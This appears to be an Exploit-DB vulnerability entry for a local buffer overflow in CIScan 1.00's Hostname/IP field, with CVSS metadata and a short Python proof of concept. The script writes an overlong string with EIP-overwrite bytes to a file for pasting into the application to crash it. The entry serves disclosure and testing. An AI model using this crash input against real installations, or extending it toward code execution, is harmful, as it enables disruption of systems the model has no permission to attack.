CIScanv1.00 Hostname/IP Field Local BoF PoC

vendor:

CIScan

by:

Irving Aguilar

7,8

CVSS

HIGH

Denial of Service (DoS) Local

119

CWE

Product Name: CIScan

Affected Version From: 1.00

Affected Version To: 1.00

Patch Exists: Yes

Related CWE: N/A

CPE: a:mcafee:ciscan:1.00

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 Enterprise SP1 x64 en

2016

CIScanv1.00 Hostname/IP Field Local BoF PoC

Irving Aguilar discovered a buffer overflow vulnerability in CIScanv1.00 Hostname/IP Field. An attacker can exploit this vulnerability by running a python code, copying the content of the generated file to clipboard, pasting it in the Hostname/IP field of CIScan.exe, clicking the add button and then clicking the Accept button, which will cause the application to crash.

Mitigation:

Upgrade to the latest version of CIScanv1.00

Source

Exploit-DB raw data:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Exploit Title	: CIScanv1.00 Hostname/IP Field Local BoF PoC
# Discovery by  	: Irving Aguilar
# Email		: im.aguilar@protonmail.ch
# Discovery Date	: 05.05.2016
# Software Link 	: http://www.mcafee.com/us/downloads/free-tools/ciscan.aspx#
# Tested Version	: 1.00
# Vulnerability Type	: Denial of Service (DoS) Local
# Tested on OS		: Windows 7 Enterprise SP1 x64 en
#
#
# Steps to Produce the Crash:
# 1.- Run python code : python CIScanv1-BoF.py
# 2.- Open CIScanv1-BoF.txt and copy content to clipboard
# 3.- Open CIScan.exe
# 4.- Clic button Ok
# 5.- Paste Clipboard Scan > Hostname/IP
# 6.- Clic on add button (->)
# 7.- Clic button Aceptar
# 8.- Crashed

buffer = "\x41" * 388
eip = "\x42" * 4

f = open ("CIScanv1-BoF.txt", "w")
f.write(buffer + eip)
f.close()